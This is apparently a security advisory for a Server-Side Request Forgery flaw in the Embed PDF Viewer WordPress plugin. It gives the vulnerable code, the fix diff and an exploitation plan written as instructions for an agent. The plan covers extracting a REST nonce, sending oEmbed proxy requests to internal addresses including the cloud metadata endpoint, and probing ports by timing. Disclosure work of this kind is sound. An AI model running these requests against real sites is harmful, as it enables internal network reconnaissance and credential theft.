Embed PDF Viewer <= 2.4.7 - Authenticated (Contributor+) Server-Side Request Forgery
Description
The Embed PDF Viewer plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.4.7. This makes it possible for authenticated attackers, with Contributor-level access and above, to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=2.4.7What Changed in the Fix
Changes introduced in v2.4.8
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-32349 (Embed PDF Viewer SSRF) ## 1. Vulnerability Summary The **Embed PDF Viewer** plugin (versions <= 2.4.7) is vulnerable to **Authenticated Server-Side Request Forgery (SSRF)**. The vulnerability exists in the plugin's oEmbed handler, which attempts to fetc…
Show full research plan
Exploitation Research Plan: CVE-2026-32349 (Embed PDF Viewer SSRF)
1. Vulnerability Summary
The Embed PDF Viewer plugin (versions <= 2.4.7) is vulnerable to Authenticated Server-Side Request Forgery (SSRF). The vulnerability exists in the plugin's oEmbed handler, which attempts to fetch and process remote PDF files to generate metadata. Specifically, the oembed_pdf_viewer method in the Embed_PDF_Viewer class fails to validate that the provided URL belongs to a trusted external domain or is not an internal network address before passing it to wp_remote_get().
2. Attack Vector Analysis
- Vulnerable Endpoint:
wp-admin/admin-ajax.php(via the oEmbed system) or the WordPress REST API oEmbed proxy. - Triggering Mechanism: Pasting a URL matching the pattern
#(^(https?)\:\/\/.+\.pdf$)#iinto a WordPress post/page or querying the oEmbed proxy directly. - Required Role: Contributor or higher (any role capable of creating posts or triggering oEmbed previews).
- Payload Parameter:
url(in the context of an oEmbed request). - Preconditions: The plugin must be active. The attacker needs valid credentials for a Contributor-level account.
3. Code Flow
- Registration: In
embed-pdf-viewer.php, the plugin registers an oEmbed handler during execution:wp_embed_register_handler( 'oembed_pdf_viewer', '#(^(https?)\:\/\/.+\.pdf$)#i', [ Embed_PDF_Viewer::instance( $epd_version ), 'oembed_pdf_viewer' ] ); - Entry Point: When WordPress encounters a URL ending in
.pdf, it invokes the registered callbackoembed_pdf_viewer($matches, $atts, $url). - Vulnerable Logic: Inside
Embed_PDF_Viewer::oembed_pdf_viewer:- The code first validates the URL format using
filter_var( $url, FILTER_VALIDATE_URL ). This only checks for valid URI syntax, not the destination. - It then attempts to find the attachment in the local Media Library.
- If not found locally, it enters the vulnerable branch:
/* * URL is from outside of the Media Library. */ $response = wp_remote_get( $url ); // <--- SSRF SINK if ( is_wp_error( $response ) ) { return $response; } - The code first validates the URL format using
- Sink:
wp_remote_get( $url )is called directly with the user-supplied$url. This causes the WordPress server to initiate an HTTP GET request to the specified target.
4. Nonce Acquisition Strategy
The most efficient way to trigger this SSRF and observe the result is via the WordPress REST API oEmbed proxy. This endpoint requires a REST API nonce (wp_rest action).
- Identify Shortcode/Script: The plugin registers the
embed-pdf-viewer/pdfblock. Navigating to the post editor (post-new.php) will load the necessary scripts. - Navigation: Log in as a Contributor and navigate to
/wp-admin/post-new.php. - Extraction: Use
browser_evalto extract the REST nonce from the globalwpApiSettingsobject, which WordPress core provides to the block editor:- JS Command:
browser_eval("window.wpApiSettings?.nonce")
- JS Command:
- Fallback: If
wpApiSettingsis unavailable, search the page source for the string"nonce":"...associated with the REST API.
5. Exploitation Strategy
We will use the REST API oEmbed proxy to trigger the server-side request.
- Target URL Construction: The URL must end in
.pdfto satisfy the plugin's regex. To target internal services (e.g., a metadata service or a local port), use:http://127.0.0.1:80/.pdfhttp://169.254.169.254/latest/meta-data/.pdf
- HTTP Request:
- Method:
GET - URL:
http://localhost:8080/wp-json/oembed/1.0/proxy - Query Parameters:
url:http://TARGET_INTERNAL_IP/.pdf_wpnonce:[EXTRACTED_REST_NONCE]
- Method:
- Agent Instruction: Use
http_requestto send this GET request. - Analysis: If the server returns a 200 OK or a WP_Error containing details about the internal service response, the SSRF is confirmed.
6. Test Data Setup
- User: Create a user with the
contributorrole. - Internal Listener: (Simulated) Ensure there is a service running on an internal port (e.g., port 80 or 22) that the WordPress server can reach.
7. Expected Results
- Success Indicator: The WordPress server makes an outbound request to the target IP.
- Response: The REST API response may contain headers or body content from the internal service if the service returns a 200 and the plugin attempts to read the
content-type. - Error Case: If the internal service rejects the connection, the plugin might return a
WP_Errorobject (visible in the REST response) saying "connect() timed out" or "Connection refused," which still confirms the server attempted the connection.
8. Verification Steps
- Monitor Logs: Check the access logs of the internal service to see if the WordPress server's IP address appears.
- WP-CLI Check: Verify the plugin version to ensure it is 2.4.7 or lower:
wp plugin get embed-pdf-viewer --field=version
- Observation: Compare the response time of a request to an existing internal port vs. a non-existent internal port. A difference in timing or error message confirms the server is probing the internal network.
9. Alternative Approaches
If the REST API proxy is restricted:
- Post Preview Method:
- Create a draft post as a Contributor.
- Set the post content to the malicious URL on its own line:
http://127.0.0.1:22/test.pdf - Save the draft and use the "Preview" functionality.
- This triggers the
wp_embed_register_handlerlogic during the content rendering process.
- Shortcode Method:
- Use the
[embed]shortcode:[embed]http://127.0.0.1:22/test.pdf[/embed] - View the post preview.
- Use the
Summary
The Embed PDF Viewer plugin for WordPress is vulnerable to Authenticated Server-Side Request Forgery (SSRF) via its oEmbed handler in versions up to 2.4.7. The plugin uses wp_remote_get() to fetch metadata for external PDF files without validating if the target URL resolves to an internal or restricted network address, allowing attackers with Contributor-level access or higher to probe internal services.
Vulnerable Code
// embed-pdf-viewer.php lines 34-41 wp_embed_register_handler( 'oembed_pdf_viewer', '#(^(https?)\:\/\/.+\.pdf$)#i', [ Embed_PDF_Viewer::instance( $epd_version ), 'oembed_pdf_viewer', ] ); --- // embed-pdf-viewer.php lines 182-198 public function oembed_pdf_viewer( $matches, $atts, $url ) { // Validate URL before proceeding. if ( ! filter_var( $url, FILTER_VALIDATE_URL ) ) { return new WP_Error( 'invalid_url', __( 'The URL provided is not valid.', 'embed-pdf-viewer' ) ); } $attachment_id = $this->get_attachment_id_by_url( $url ); if ( ! empty( $attachment_id ) ) { $post = get_post( $this->get_attachment_id_by_url( $url ) ); } else { /* * URL is from outside of the Media Library. */ $response = wp_remote_get( $url ); if ( is_wp_error( $response ) ) { return $response; }
Security Fix
@@ -14,7 +14,7 @@ * Description: Embed a PDF from the Media Library or elsewhere via oEmbed or as a block into an `iframe` tag. * Author: Andy Fragen * Author URI: https://github.com/afragen - * Version: 2.4.7 + * Version: 2.4.8 * License: GPLv2+ * Domain Path: /languages * Text Domain: embed-pdf-viewer @@ -180,11 +180,6 @@ * @return string|WP_Error */ public function oembed_pdf_viewer( $matches, $atts, $url ) { - // Validate URL before proceeding. - if ( ! filter_var( $url, FILTER_VALIDATE_URL ) ) { - return new WP_Error( 'invalid_url', __( 'The URL provided is not valid.', 'embed-pdf-viewer' ) ); - } - $attachment_id = $this->get_attachment_id_by_url( $url ); if ( ! empty( $attachment_id ) ) { $post = get_post( $this->get_attachment_id_by_url( $url ) ); @@ -192,7 +187,7 @@ /* * URL is from outside of the Media Library. */ - $response = wp_remote_get( $url ); + $response = wp_safe_remote_get( $url ); if ( is_wp_error( $response ) ) { return $response; }
Exploit Outline
An authenticated attacker with Contributor-level privileges can exploit this vulnerability by submitting a request to the WordPress REST API oEmbed proxy endpoint. The attacker needs to obtain a valid REST nonce (e.g., from the post editor page) and then send a GET request to `/wp-json/oembed/1.0/proxy` with the `url` parameter set to an internal service URI ending in `.pdf` (e.g., `http://169.254.169.254/latest/meta-data/.pdf`). The plugin's oEmbed handler will process this URL and use `wp_remote_get()` to fetch the resource, causing the server to perform an internal request. Alternatively, the attacker can trigger the same logic by simply pasting the malicious URL into a new post and viewing the preview.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.